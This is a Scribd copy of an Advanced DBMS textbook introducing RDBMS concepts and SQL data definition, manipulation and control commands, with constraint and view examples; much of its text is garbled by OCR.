0% found this document useful (0 votes)
203 views199 pages

Adbms PDF

RDBMS stands for Relational Database Management System. It stores data in tables with rows and columns, and provides mechanisms to define relationships between tables. The relational model was designed by Dr. E.F. Codd and introduced the concept of storing data in tables and enforcing relationships between them through common fields. The key differences between a DBMS and RDBMS are that a RDBMS imposes constraints to enforce relationships between tables and ensure properties like ACID.

Uploaded by

Arpit Jaiswal
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
203 views199 pages

Adbms PDF

RDBMS stands for Relational Database Management System. It stores data in tables with rows and columns, and provides mechanisms to define relationships between tables. The relational model was designed by Dr. E.F. Codd and introduced the concept of storing data in tables and enforcing relationships between them through common fields. The key differences between a DBMS and RDBMS are that a RDBMS imposes constraints to enforce relationships between tables and ensure properties like ACID.

Uploaded by

Arpit Jaiswal
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 199

Chapter 1

Introduction to RDBMS
1.0
1.1 Objectives
1.2
Introduction
What is RDBMS ?
i.3
Difference between DBMS & RDBMS
1.4
1.5
Summary
Check your
1.6 Progress
Answers
Questions for Self-Study
-

1.0 Objectives
After reading this chapter you will be able to,
Describe what RDBMS is
State the difference between
DBMS& RDBMS

1.1 Introduction
Most of the problems faced at the time
of implementation of
system are outcome of a poor database design. In many casesanyit
happens that system has to be continuously modified in
multiple
respects due to changing requirements of users. It is very important
that a proper planning has to be done.
A relation in a relational database is based on a
relational schema,
which consists of number of attributes.
A relational database is made up of a number of relations and
corresponding relational database schema.
The goal of a relational database design is to generate a set of relation
schema that allows us to store information without unnecessary
redundancy and also to retrieve information easily.
One approach to design schemas that are in an appropriate normal
fom. The normal forms are used to ensure that various types of
anomalies and inconsistencies are not introduced into the database.

1.2 What is RDBMSs?

RDBMS stands for Relational Database Management System.


RDBMS data is structured in database tables, fields and records. Each
RDBMS table consists of database table rows. Each database table
row consists of one or more database table fields.

Introduction to RDBMS/ 1
which might be related
into collection of tables,
data RDBMS also provide
RDBMS store the
(database table columns). the database
fields stored into
by c o m m o n manipulate the data
database query language
relational operators
to
SQL as
tables. Most
RDBMS use
DB2, Oracle and
MS SQL Server,
RDBMS are
The most popular
MySQL. record-based model. Record
is an example of is structured in
The relational model because the
database
so named contains records of a
based models are table
several types. Each
format records of
fixed defines a fixed
number of fields, or
Each record type to the attributes of the
particular type.
columns of the table correspond used data
attributes. The
relational data
model is the most widely
record types. The systems are based on
of current database
model, and a vast majority
the relational model. scientist and
the IBM research
relational model was designed by not conform to
The
E.F.Codd. Many
modern DBMS do
Dr. are still
but nonetheless they
mathematician,
Codd's definition of a RDBMS, focal points when
the Dr.Codd's main
considered to be
RDBMS. Two of
data redundancy
relational model were
to further reduce
designing the within database systems.
The relational
and to improve data integrity Dr.codd entitled "A
authored by
from a paper
model originated Data Banks", written in
Relational Model of Data
for Large Shared
that apply to
included the following concepts
1970. This paper databases.
for relational
database management systems
data structure used in
the relational data model
The relation is the only between them.
entities and relationships
to represent both the relation and
refered to as tuples of
Rows of the relation are column are drawn
Each attibute of the
columns are its attributes.
domain of an attribute
the set of values known as domain. The
from
the attribute may assume.
contains the set of values that is relatively
the relational data model
From the historical perspective, either network or
database systems were based
on
new .The first established itself
hierarchical models .The
relational data model has
the primary data model
for commercial data processing
as
this domain has led to its applications
applications. lis success in and
outside data processing in systems
for computer aided design
other environments.

RDBMS
1.3 Difference between DBMS &

should be accessible
A DBMS has to be persistent, that is it or even the
ceases to exist
when the program created the data to
that created the data restarted.
A DBMS also has
application of a specific application
provide some unifom methods independent stored. RDBMS is a Relational
the information that is
tor accessing DBMS. This adds the
Data Base Management System Relationala tabular structure Tor the
additional condition that the system supports
dala, with enforced relationships between the tables. This excludes
Oracle 2
the databases that don't
support a tabular structure or don't enforce
relationships between tables. You can
say DBMS does not impose
any constraints or security with
or the programmer
regard to data manipulation it is
user
the database whereasresponsibility to ensure the ACID PROPERTY of
the RDBMS is with this
RDBMS define the more regard because
PROPERTY.
integrity constraint for the purpose of holding ACID

1.1,1.2, and 1.3 Check your progress


Fill in the blanks
1) A relation in a relational database is based on a relational
schema, which consists of number of
2) is a Relational Data Base Management System.
3) Rows of the relation are referred to as
of the relation
4) The relational model was designed by the IBM research scientist
and mathematician, Dr.
5) The is the only data structure used in the relational
data model to represent both entities and
them.
relationships between

State true or false


1) The normal forms never removes anomalies.
2) Each attribute of the column are drawn from the set of values
known as domain.
3) The first database systems were based on either network or
hierarchical models.
4) Most RDBMS use SOL as database query language.
5) Relational database design makes data retrieval difficult.

1.4 Summary

The goal of a relational database design is to generate a set of relation


schema that allows us to store information without unnecessary
redundancy and also to retrieve information easily.
A database system is an integrated collection of related files, along
with details of interpretation of the data contained therein. DBMS is a
a database. The
s/w system that allows access to data contained in
convenient and effective method
objective of the DBMS is to provide a contained in the
information
of defining, storing and retrieving the
database.
data
The DBMS interfaces with application programs so that the
and
contained in the database can be used by multiple applications

Introductionto RDBMS/3
users. TheDBMS allows these users to access and manipulate
data contained in the database in a convenient and effective man the
tho

In addition the DBMS exerts centralized control of the ner


prevents unauthorized users from accessing the data and
datahae
ase,
privacy of data. ensuro
ares
Source: www.logicsmeet.com(e-tink)
1.5 Check your Progress -Answers
1.1, 1.2 & 1.3
Fill in the blanks
1) attributes
2) RDBMS
3) tuples
4) E.F.Codd
5) relation

True or false
1) False
2) True
3) True
4) True
5) False

1.6 Questions for Self- Study


1) Explain the following terms
i) Domain ii) Tuple ii) Relation iv) Attribute
2) Explain difference between DBMS and RDBMS.
3) Why relational data model is so popular ?
4) What are record based models 7?
5) How RDBMS stores its data ?
Chapter 2
Data Manipulation & Control
2.0 Objectives
2.1 Introduction
2.2 Subdivisions of SQL
2.3 Data Definition Language
2.4 Data Manipulation Language Commands
2.5 Data Control Language
2.6 Select Query and Clauses
2.7 Select Statement with Order by Clause
2.8 Group by Clause
2.9 Having Clause
2.10 String Operation
2.11 Distinct Rows
2.12 Rename Operation
2.13 Set Operations
2.14 Aggregate Functions
2.15 Nested Sub Queries
2.16 Embedded SQL
2.17 Dynamic SQL
2.18 Summary
2.19 Check Your Progress Answers
-

2.20 Questions for Self Study


-

2.0 OBJECTIVES

will able to
After reading this chapter you
state SQL, DDL, DML, DCL Statements
& clause
explain Select.group by having
explain String &set operations
describe Aggregate Functions
Queries
describe Nested Sub
describe Embedded & Dynamic SQL

Data Manipulation
& Control/5
2.1 INTRODUCTION

Structured Query
study the query language
In this chapter we
Relational algebra and
uses a
combination of
which
Language (SQL)
Relational calculus.
and retrieve
sub language used to organize, manage
It is a data Relational
database, which is managed by
data from relational
(RDBMS).
Database Management System
and Ingress use
Vendors of DBMS like
Oracle, 1BM, DB2, Sybase,
for their database.
SQL as programming language
at 1BM's San
the system R project in 1974
SQL originated with
Jose Research Centre.
was an Application
was SEQUEL which
Original version of SQL
to the system R project.
Program Interface (API) SQUARE.
was named
The predecessor of SEQUEL
version.
SQL-92 is the current standard
and is the current
The SQL language can be used in two ways

Interactively or
Embedded inside another program.

a database and
to directly operate
The SQL is used interactively that is
results. The user enters SQL command
produce the desired tool that allows
Most databases have a
immediately executed. SQL Base's
interactive execution of the
SQL language. These include
7 Query
and Microsoft's SQL server
SQL Talk, Oracle's SQL Plus,
Analyzer. it in
a SQL command is by embedding
The second way to execute Visual Basic,
another language such as
Cobol, Pascal, BASIC, C,
to the
The result of embedded SQL command is passed
Java, etc. The
which in turn will deal with them.
variables in the host program,
combination of SQL with a
fourth-generation language brings together
allows creation of user interfaces
and
the best of two worids and
database access in one application.

2.2 SUBDIVISIONS OF SQL

is embedded or used interactively.it


Regardless of whether SQL their
can be divided into three groups
of commands, depending on

purpose.

Oracle 6
Data Definition Language (DDL).
Data Manipulation Language (DML).
Data Control Language (DCL).

Data Definition Language


Data Definition Language is a part of SQL that is responsible for
the creation, updation and deletion of tables. It is responsible for
creation of views and indexes also. The list of DDL commands is given
below
CREATE TABLE
ALTER TABLE
DROP TABLE
CREATE VIEW
CREATE INDEX
Data Manipulation Language:
Data manipulation commands manipulate (insert, delete, update
and retrieve) data. The DML language includes commands that run

queries and changes in data. It includes the following commands


SELECT
UPDATE
DELETE
INSERT
Data Control Language:
are related to the
The commands that form data control language
tasks of assigning privileges so
security of the database performing database.
can a c c e s s certain objects
in the
users

The DCL commands are:


GRANT
REVOKE
COMMIT
ROLLBACK

DEFINITION LANGUAGE
2.3 DATA

schemas,
commands for defining relation
The SQL DDL provides relation schemas.
indices, and modifying
deleting relations, creating of relations
The SQL DDL allows the
specification of not only a set
relation including:
but also information about each
relation.
The schema for each
attribute.
associated with each
The domain of values

Control/ 7
Data Manipulation &
The integrity constraints.
The set of indices to be maintained for each relation.
The security and authorization information for each relation.
The physical storage structure of each relation on disk.
Domain/Data Types in SQL
The SQL 92 standard supports a variety of built-in domain types,
including the following:
(1) Numeric data types include
Integer numbers of various sizes
INT or INTEGER
SMALLINT
Real numbers of various precision
REAL
DOUBLE PRECISION
FLOAT (n)
Formatted numbers can be represented by using
DECIMAL6, j) or
DEC (.)
NUMERIC ((, j)or NUMBER
(. j)
where, i the precision, is the total number of decimal
-

digits
andj the scale, is the number of digits after
The default for scale is
the decimal point.
zero and the default for precision is
implementation defined.
(2) Character string data types are
either íixed length
length.
cr
väi yuy
CHAR (n) or CHARACTER (n) - is fixed length character
string with user specified length n.
VARCHAR (n) is a variable length character
-

string, with user


specified maximum length n. The full form of
CHARACTER VARYING (n), is equivalent.
(3) Date and Time data types:
There are new data types for date and time in
SQL-92.
DATE I t is a calendar date containing
year, month and
day typically in the form
YYyy: mm:dd
TIME I t is the time of day, in hours, minutes and
seconds, typically in the form
HH : MM: SS.
Varying length character strings, date and time were not
part ofthe SQL -89 standard.
Oracle/ 8
In this section we will study the three Data Definition
Language
Commands
CREATE TABLE
ALTER TABLE
DROP TABLE
1. CREATE TABLE Command:
The CREATE TABLE COMMAND is used to specify a new
relation by giving it a name and specifying its attributes and
constraints.
The attributes are specified first, and each attribute is given a
name, a data type to specify its domain of values and any atribute
constraints such as NOT NULL. The key, entity integrity and
referential integrity constraints can be specified within the CREATE
TABLE statement, after the attributes are declared.
Syntax of create table command
CREATE TABLE table_name(
Column_name 1 data type [NOT NULL],

Column_name n data_type [NOT NULL]);


The variables are defined as follows
If NOT NULL is not specified, the column can have NULL values.
table_name - is the name for the table.

column_name 1 to column_name n are the valid column names

or attributes.
NOT NULL -
that column is mandatory. This feature
It specifies
allows ou to prevent data from being entered into table without
certain columns having data in them.
Examples of CREATE TABLE Command
(1) Create Table Employee
varchar2 (20) NOT NULL
(Ename
B_Date Date,
Salary Decimal (10, 12)
Address Varchar2 (50);
(2) Create Table Student
(Student_id Varchar2 (20) Not Null,
Last_Name Varchar2 (20) Not Null,

First namne Varchar2 (20),


BDate Date

Data Manipulation & Control/9


State Varchar2 (20),
City Varchar2 (20);
(3) Create Table Course
(Course id Varchar2(5),
Department_id Varchar2 (20).
Title Varchar2 (20).
Description Varchar2 (20);
Constraints in CREATE TABLE Command
CREATE TABLE Command lets you enforce several kinds of
constraints on a table: primary key, foreign key and check condition,
unique condition.
A constraint clause can constrain a single column or group of
columns in a table. There are
two ways to specify constraints
As part of the column definition i.e. a column constraint.
Or at the end of the
create table command i.e. a table
constraint.
Clauses that constrain several
columns are the table constraints.
The Primary Key
A table's primary key is the set of columns that
uniquely identifies
each row in the table. CREATE TABLE command specifies the
primary key as follows:
create table
table_name (
Column_name 1 data_type [not null].

Column_name n data type [NOT NULL],


[Constraint constraint_name]
[Primary key (Column_rame A, Cnlumn name B...
Column_name
Variables are defined as
follows
table_name is the name for the table.
column_name 1 through column_name n are the valid column names
data_type is valid datatype
constraint which is optional
constraint_name identifies the primary key
column_name A through column_name X are the table's columns that
compose the primary key.
Oracle/ 10
Example
Create table Employee
(E_name Varchar2 (20).
B_Date Date,
Salary Decimal (10, 2),
Address Varchar (80),
Constraint
PK_Employee
Primary key (Ename));
Create table_student
(Student id Varchar2 (20),
Last _name Varchar2 (20) NOT NULL,
First name Varchar2 (20),
B_Date Date,
State Varchar2 (20).
City Varchar2 (20),
Constraint
PK_Student
Primary key Student_id);
Create Table_Course
(Course id Varchar2 (5).
Department_id Varchar2 (20),
Title
Varchar2 (20).
Description Varchar2 (20),
Constraint
PK_Course
Primary key (Course_jd,
Note: WNe do not
specify
Department_id))
NOT NULL
which form the
primary key, since those Constraint
are the
for those columns
by default. Primary keys are mandatory columns
) A column that is a subject
to several
restrictions.
part of the primary key cannot
(ii) A column that is defined as LONG, or
be NULL.
data types) cannot be a LONG RAW
(ii) The maximum number part of
primary key.
(ORACLE
of columns in
the primary
key is 16.
Foreign Key: A foreign key is
based on the
primary
a
combination of columns with
constraint also known key values from
another table. values
A
as a
referential integrity foreign key
constraint, specifies
F2
Data
Manipulation & Control 11
that the values of the foreign key correspond to actual values of

primary key in other table.


Create table command specifies the foreign key as follows:
Create Table table_name
(Column_name 1 data type (NOT NULL].

Column_ name N data type [NOT NULL].


[constraint constraint_name
Foreign key (column_name F1 Column_name FN)
references referenced-table (column_name P1, column_name
P:
table_name - is the name for the table.

Column_name 1 through column_name N are the valid columns.


constraint_name is the name given to foreign key.
referenced_table - is the name of the table referenced by the foreign
key declaration.
column_name F, through column_name F are the columns that
compose the foreign key.
Column_name P, through column_name PN are the columns that
compose the primary key in referenced-table.

Examples
Create table_department
(Department_id Varchar2 (20),
Department_name Varchar2 (20).
Constraint PK_Department
Primary key (Department_id)
Create table_course
(Course_id Varchar2 (20),
Department_id Varchar2 (20)
Title Varchar2 (20).
Varchar2 (20),
Description
Constraint PK_course
Primary key (Course_id, Department_id),
Constraint FK-course
(Department_id) references Department
Foreign key
(Department_id)
Thus. primary key of course table is (Course_id, Department_id).

The primary key of Department table is (Department_id).


Foreign key of course table is (Department_id) which references
the department table.
When you define a foreign key, the DBMS verifies the following
(1) A primary key has been defined for table referenced by the
foreign key.
(2) The number of columns composing the foreign key matches
the number of primary key columns in the referenced table.
(3) The datatype and width of each foreign key columns matches
the datatype and width of each primary key column in the
referenced table.
Unique Constraint or Candidate key
A candidate key is a combination of one or more columns, the
values of which uniquely identify each row of the table. Create table
command specifies the unique constraint as follows
CREATE TABLE table_name
(column_name 1 data_type [NOT NULL),

column_name n data_type [NOT NUL)


[constraint constraint_name
Unique (Column_name A,..... Column_namex)]):
Example
Create table student

(Student_id Varchar2 (20),


Last name Varchar2 (20), NOT NULL,
First name Varchar2 (20), NOT NULL
BDate Date,
State Varchar2 (20),

City Varchar2 (20),


Constraint UK-student
Unique (last_name, first_name),
Constraint PK-student
Primary key (Student _id):

Data Manipulation & Control 13


A unique constraint is not a substitute for a primary key.
Two
differences between primary key and unique constraints are
(1) A table can have only one primary key, but it can have many
unique constraints.
(2) When a primary key is defined, the columns that compose the
primary key are automaticaly mandatory When a unique
constraint is declared, the columns that compose the unique
constraint are not automatically defined to be mandatory, you
must also specify that the column is NOT NULL
Check Constraint:
Using CHECK constraint SQL can specify the data validation fo
column during table creation. CHECK clause is a Boolean condition
that is either TRUE or FALSE. If the condition evaluates to TRUE, the
column value is accepted by database, if the condition evaluates to
FALSE, database will return an error code.
The check constraint is declared in CREATE TABLE statement
using the syntax :
Column_name datatype [constraint constraint_name]
[CHECK (Condition)
The variables are defined
as follows
Column_name is the column name
data_type - is the column's data type
constraint_name - is the name given to check constraint
condition is the legal SQL
Condition that returns a Boolean value.
Examples
Create table_worker
(NameVarchar2 (25) NOT NULL,
Age Number Constraint CK_worker
CHECK (Age Between 18 AND 65)
):
Create table_instructor
(Instructor_id Varchar2 (20),
Department_id Varchar2 (20) NOT NULL,
Name Varchar2 (25),
Position Varchar2 (25)
Constraint
CK_instructor
CHECK (Position in ('ASSISTANT PROFESsOR',
'ASssOCIATE
PROFESsOR, PROFESSOR).

Oracle 14
Address Varchar2 (25).
Constraint PK_instructor
Primary key (Instructor_id);
If the position
of the instructor is not one of the three legal
values, DBMS will return an error code
indicating that a check
constraint has been violated.
More than one column can have check constraint.
Create table_Patient
(Patient_id Varchar2 (25) Primary key
Body_ Temp Number (4, 1)
Constraint Patient_BT
CHECK (Body_Temp >= 60.0 and
Body_ Temp= 110.0).
Insurance StatusChar(1)
Constraint Patient 1Ss
CHECK (lnsurance-Status in (Y, y, 'N', 'n'))
One column can have more than one CHECK constraint.
Create table_Loan application
-

(loan_apP_no number (6) primary key,


Name Varchar2 (20),
Amount_requestednumber (9, 2) NOT NULL,
Amount _approvednumber (9, 2)
Constraint Amount_approved_limit
Check (Amount_approved 10,00,000) <=

Constraint Amount Approved_Interval


Check (Mod
(Amount Approved,
1000) 0); =

Establishing a Default value for a column:


By using DEFAULT clause when defining a column, you can
establish a default value for that column. This default value is used for
a column, whenever, row is inserted into the table without
specifying
the column in the INSERT statement.
Example
Create table_student
(Studentid Varchar2 (20).
Last_name Varchar2 (20) NOT NULL
First_naine Varchar2 (20) NOT NULL

Data Manipulation & Control 15


B Date Date,
State Varchar2 (20),
City Varchar2 (20). DEFAULT
PUNE
Constraint PK_student
Primary key (Student_id);
2. ALTER TABLE Command
You can modify a table's definition using ALTER TABLE
command. This statement changes the structure of a table, not its
contents. Using ALTER TABLE command, you can make following
changes to the table.

(1) Adding a new column to an existing table.


ALTER TABLE table_name
ADD (Column_name datatype

Column_name n
datatype)
Example:
SQL> Describe Department;
Name NULL? Type
********************* ***** ************
Department_id Varachar2 (20)
Department_name Varachar2 (20)
SQL> Alter table Department ADD (University
Varchar2 (20),
No_of_student Number (3);
SQL Describe Department;
Name Null
Type
Department_id Varachar2 (20)
Department_Name Varachar2 (20)
University Varachar2 (20)
No_of_student Varachar2 (20)

(2) Modify an existing column in the existing table.


ALTER TABLE table_name
MODIFY (Column_name datatype : constraint,
Column_name datatype: constraint,):
A column in the table can be modified in following ways-

Oracle 16
column definition from NOT NULL to NULL
(i) Changing a
i.e. from mandatory to optional
Consider a table ex_table.

SQL describe ex_table;


Name NULL? Type
Record no NOTNULL Numbers (38)
Description Varchar2 (40)
Current_value NOT NULL Number
sQL Alter Table ex_table;
modify (current_value number Null):
Table altered
sQL Describe ex_table;
Name NULL? ype
Record_No NOT NULL Number (38)
Description Varchar2 (40)
Current value Number
(i) Changing a column definition from NULL to NOT NULL
f a table is empty. you can define a column to be NOT NULL.
However, if table is not empty, you cannot change a column to NOT
NULL unless every row in the table has a value for that particular
column.

(ii) Increasing and Decreasing a Column's Width


You can increase a character column's width and can
increase the number of digits in a number column at any time.
Example:
SQL Describe ex_table;
NULL ? Type
Name
Record_ No NOT NULL Number (38)
Description Varchar2 (40)
Current_value NOT NULL Number
sQL> Alter table ex_table
modify (Description Varchar2 (50)):
Table altered

sQL Describe ex_table;


Name ** * *
NULL?
****s***s*********** *******" s""*"******
Type
**************** ***

NOT NULL Number (38)


Record_NNo
Varchar2 (50)
Description NOT NULL Number
Current_value
column's width only if the table is empty
You can decrease a
for every row of table.
or if that column is NULL

Data Manipulation
& Control/ 17
(3) Adding a constraintto an existing table:
Any constraint i.e. a primary key, foreign key, unique ke
orcheck constraint can be added to an existing table usin
ALTER TABLE command.
ALTER TABLE table_name
ADD (constraint)
Example
SQL> Create Table ex_table
(Record_No Number (38).
Description Varchar2 (40),
Current_value Number)
Table created
SQL> Alter Table ex_table add
(Constraint PK_ex_table primary key (Record-No))
Table Altered.
(4) Dropping the constraints
ALTER TABLE table_name
DROP Primary key
Using this you can drop primary key of table.
ALTER TABLE Table_name
DROP constraint constraint_name
Using this you can drop any constraint of the table.
Rules foradding or modifying a column:
Following are the rules for adding column to a table
(1) You may add a column at any time if NOT NULL
specified.
(2) You may add a NOT NULL column in three
steps
() Add a column without NOT NULL specified
(ii) Fill every row in that column with data,
(ii) Modify the column to be NOT NULL.
Following are the rules to modify a column.
(1) You can increase a character column's width at any time.
(2) You can increase the number of digits in a NUMBER
column at any time.
(3) You can increase or decrease the number of places in a
NUMBER column at any time.
If a column is NULL for every row of the table,
you can
make following changes.
You can change its data type
(ii) You can decrease a character column's width

Oracle 18
in a NUMBER
(i) You can decrease the number of digits
column
Command
3. DROP TABLE
table's definition fromm
Dropping a table means to remove the
used to drop the table
the database. DROP TABLE command is
asfollows
DROP TABLE table_name:
Example
()SQL> Drop table_student
Table dropped
(2)SQL Drop table instructor
Table dropped.
You drop a table only when you no longer need it.
Note The truncate command in ORACLE can also be used
to remove only the rows or data in the table and not the table
definition.
Example
Truncate student
Table truncated
Truncating cannot be rolled back.

2.4 DATA MANIPULATION LANGUAGE COMMANDS

The SQL DML includes commands to insert tuples into database, to


delete from database and to modify tuples in the database.
tuples
It includes a query language based on both relational algebra and
tuple relational calculus.
commands.
In this section we'll study foHowing SQL DML
INSERT
DELETE
UPDATE
SELECT
1. INSERT Command
The syntax of insert statement is
INSERT INTO table_name
(columnname [, column_name.. . column_name])]
VALUES
, column_value]);
(column_value [,column_value..
as follows:
The variables are defined
which toinsert the row.
Table_name is the table in

19
Data Manipulation & Control
table.
a column
belonging to
olumn name is whose type matches
an expression
column_value is a
literal value or
the corresponding column_name. must match
column_names

of columns in the list of


The number that appear in parenthesis
values or expressions
the number of literal
values.
keyword
after the
Example
Insert into Employee
SQL Salary, Address)
(E_name, B_Date,
Values
50000.00, 'Mumbai');
(Sachin', 21-MAR-73,
row created

Insert into student


SQL>
(Student_id, Last_name, First_name)
Values
(SE201, 'Tendulkar, 'Sachin');
row created
If the column names specified in Insert statement are more than

values, then it returns an error.


Column and value datatype must match.
According to the syntax of INSERT statement, column list is an
optional element. Therefore, if you do not specify the column names to
be assigned values, it (DBMS) by default uses all the columns. The
column order that DBMS uses is the order in which the columns were
specified, when the table was created. However, use of Insert
statement without column list is dangerous.
For example,
SQL Describe ex_class;
Name NULL? Type
Class_building NOT NULL Varchar2 (25)
Class_room NOT NULL Varchar2 (25)
Seating_capacity Number (38)
SQL Insert into ex_class
Values
(250', Kothrud Pune', 500):
1 row created.
he row is successfully inserted into the table, because, value and
column data types were
matching.
But the value 250 is not a correct value for
column class_ buiiain

Oracle / 20
The use of insert without column list may cause
following
problems.
1 The table definition might change, the number of
columns
might decrease or increase, and the INSERT fails as a result.
2. The INSERT statement might succeed but the
wrong data
could be entered in the table.

2. DELETE Command:
The syntax of delete statement is:
DELETE FROM table_name
WHERE condition)
The variables are defined as follows
table_name is the table to be updated.
condition- is a valid SQL condition.
DELETE Command without WHERE clause will
empty the
table completely.
Example
sQL Delete from Student
Where Student_id =
'SE 201
1 row deleted.
SOL> Detete from student
Where first_name "Sachin' and
Student id SE 202;
row deleted.
3. UPDATE Command
If you want to modify existing data in the database, UPDATE
command can be used to do that. With this statement you can update
zero or more rows in a table.
The syntax of UPDATE command is:
UPDATE table_name
SET column_name:: expression
[.column_name: expression]
. column_name: expression)
(where condition]
The variables are defined as follows
table_name is the table to be updated
column_name is a column in the table being updated.
expression is a valid SQL expression.

Data Manipulation & Control/ 21


condition.
condition is a valid SQL
The UPDATE statement references a single table and assigns an
an
WHERE Clause is optional:
one column. The
expression to at least
an UPDATE statement does not
contain a WHERE clause, tha

assignment of a value to a column will be applied to all rows in the

table
Example:
SQL Update Student
Set
City = 'Pune,

State 'Maharashtra'
SQL> Update Instructor
Set
Position = 'Professor

where
Instructor id = 'P3021:
SQL Grammar
Here, are some grammatical requirements to keep in mind when
you are working with SQL.
1. Every SQLstatement is terminated by a semicolon.
2. An SQL statement can be entered on one line or
several lines for clarity. split across
3. SQL isn't case
sensitive. You can mix
lowercase when referencing SQL uppercase and
keywords
INSERT), table names, and column names. (Such
as SELECT and

However, case does matter when


column. referencing to the contents of a
For Example: If
you ask for all customers whose last
with 'a' and all customer names begin
names are stored in
receive any rows at all. uppercase, you wont
4.SELECT Command
The basic
structure of an SQL expression consists of three clauses
select, from and where
The select clause
the relational algebra.
corresponds to the projection operation of
It is used to list the
attributes desired in the result of a
The from clause query.
corresponds to the cartesian product
operation of the relational
algebra. It lists the relations to be
scanned in the elevation of the
expression.

Oracle 22
The where clause corresponds to the selection predicate of
the relational algebra.
It consists of predicate involving attributes of the relations that

appear in the from clause.


Simple SQL query i.e. select statement has the form
select A Az An
from 2 m
where P.
The variables are defined as follows
AAz A, represent theattributes.
T2 m represent the relations from which the attributees
are selected.
P-is the predicate.
This query is equivalent to the relational algebra expression
* * g.. *))
A, Ag.. A p ,
where clause is optional. If the where clause is omitted, the
predicate P is true.
Select clause forms the cartesian product of relations named in
the from clause, performs a relational algebra selection using the
where clause and then projects the results onto the attributes of the

select clause.
A simple select statement:
contains the following two
At a minimum, select statement
elements.
The select list, the list of columns to be retrieved.
retrieve the
The from clause, the tables from which to
rows.

table.
Example : Consider the student database
query that retrieves only
(1) A simple select statement a
student_id from the student table is given
sQL select student_id
from student;
student id *4**************************** ************************************************************************************ *****************

S 10231
S 10232
S 10233

S 10234
S 10235

Data Manipulation & Control 23


S 10236
6 rows selected.
(2) To select student_id and students Last name, the select
staten.ent is:
SQL select student_id, First_name
from student;

student id
************************esssn********s************************************************** **e********** * * * * * * * *e
First name
*asan********ss****************.oanson**as*..
S 10231 Sachin
S 10232 Rahul
S 10233 Ajay
S 10234 Sunil
S 10235
Kapil
S 10236
Anil
6 rows selected.

To select all columns in the table


you can use
select
from table_name;
Example
SQL select
from student;

student id Last namne First_name B Date State


************************************************************************.*"******************************* *************. **********************
***
City
**. ****.*******
S 10231 Deshpande Sachin 12/3/78 Maharashtra Punee
S 10232 Gandhi Rahul 9/2/58 Delhi
Delhi
S 10233 Kapur Ajay 7/12/62 Maharashtra Bombay
S 10234 Kulkarni Sunil 6/9/75 Maharashtra Pune
S 10235 Dev Kapil 2/3/71 Tamilnadu Madras
S 10236 Kumar Anil 5/9/80 Maharashtra Bombay

The results returned by every SELECT statement constitutes a


temporary table. Each received record is a row in this temporarytable
and each element of the select list is a column. If a query does not
return any record, the temporary table can be thought of as empty.

Expressions in the selecelist:


In addition to specifying columns, you also can specify
expressions in the select list.
Oracle/24
Following aithmetic operators can be used in select list:

Description Operator
Addition
Subtraction
Multiplication
Division
For example, consider the following queries using operators in
select list
SQL Select E_name, Salary 1000
from Employee;
E name Salary 1000
************"************************"*************"*"*******"********************************************************************
Sachin 1,00,00,00o
Rahul 2,00,00,000
Ajay 1,00,00,000
Anil
1,00,00,000
4 rows selected.
SQL>Select Ename, Salary + 10000
from Employee
E_namne
****
******* Salary+ 10000
*****************
** **"*
****************************************************

Sachin 20,000
Rahul 30,000
Ajay 20,000
Anil 30,000
4 rows selected.
Select statement using where clause
select and from clauses provide you with either some columns
and all rows or all columns and all rows. But if
you want only certain
rows, you need to add another clause, the where clause.
where clause consists of one or more conditions that must be
satisfied before is retrieved by the query.
a row
It searches for a condition and narrows your selection of data.
For example, consider select statement with where clause
given
below
SQL Select Student id, First_name
from Student
where Student_id =
'S 10234
Student_jd First_name
S10234 Sunil

Data Manipulation & Control l 25


1 row selected
SQL>Select E_name Salary
from Employee
where Salary > 10000:

E_name
*********** ***************'*************** **** * - **** * * * * *
******** ********** "
Salary
********* ******************************* *****

******** **.
Rahul 20000
Anil 20000
2 row selected
where uses the logical connectives and, or and not.
where clause uses the comparison operators

Description Operator
Less than
Less than or equal to
Greater than
Greater than or equal to
Equal to
Not equal to = or <

SQL>Select E_name, Salary


from Employee
where Salary 10000 and E_name = Anil
Ename
Salary
**************************************** ***************************************************************************************************************a***************a*

Anil 20000
1 row selected.
5. Views in SQL
A view in SQL terminology is a single table that is derived from
other tables. These other tables could be base tables or previously
it is
defined views. A view does not necessarily exist in physical form; are
considered a virtual table in contrast to base tables whose tuples
limits the possible update
actually stored in the database. This
to views but does not provide any
operations that can be applied
limitations on a view. We can think of view as a way
querying
a table that we need not exist physically.
specifying
SQL
Specification of Views in the
command to view is CREATE VIEW. We give
specify a
The the
attribute names, and a query to specify
view a table name, a list of
result from applying
contents of view. If n o n e
of the view attributes

Oracle/ 26
relation.

Consider
functions orarithmetic operations, we do not have to specify attribute

names for the


view as they will be the same as the names of the
the
attributes of the defining tables.
Example:
following

employee schema (emp_name, street, city)


works_schema (emp_name,
relation comp_name, salary
company_schema (comp_name, clty)

scheme
street
emp_namne city
Sachin XYZ Pune
Rahul ABC and Bombay
Raj ABC Pune
Ajay XYZ Bombay
Anil XYZ Delhi
corresponding
Sunil ABC Bombay
salary
12000
10000
13000
14000
15000
11000

emp_name Comp name


Sachin TCS
Rahul MBT
Ra PCS
Ajay MBT
Anil PCS
Sunil TCS

Comp_name city
TCS Delhi
MBT Bombay
PCS Pune

Create view emp_detail (emp, comp, street, city)


As select C.emp_name, C.comp_name, E.street, E.city
from Employee E.companyyC
where E.emp_name = C.emp_name;

A view is always up date; if we modify the base tables on


which the view is defined, the view automatically reflects these

F3 Data Manipulation & Control 27


the time of view
changes. Hence, the view is not realized at
a query on the view.
definition but rather at the time we specify
not the user to make sure
is the responsibility of the DBMS and
that the view is up to date.
more, we can use
the DROP
If do not need a view any
we

VIEW command to dispose of it.


Drop View emp_detail
Updating of views
with a single defining table is up datable if the view
(1) A view
attributes contain the primary key or some other candidate
each view
key of the base relation, because this maps
tuple to a single base tuple.
(2) Views defined on multiple tables using joins are generally

not updatable.
(3) Views defined using grouping and aggregate functions are
not updatable.
Example
Consider the view consisting of branch names and names of
customers who have either an account or a loan at that branch.
SQL>Create view all_customer as
(select branch_name, customer_name
from depositor, account
where depositoraccount_number =

account account account_no)


Union
(select branch_name, customer_name
from borrower
where borrower-loan_number =
loan loan_number):
The attribute names of a view can be specified explicitly as
follows
SQL Create view branch_total_loan (branch_name,
total_loan) as
select branch_name, sum (amount)
from loan
group bybranch_name
6. Indexes in SQL SQL has statements to create and arop
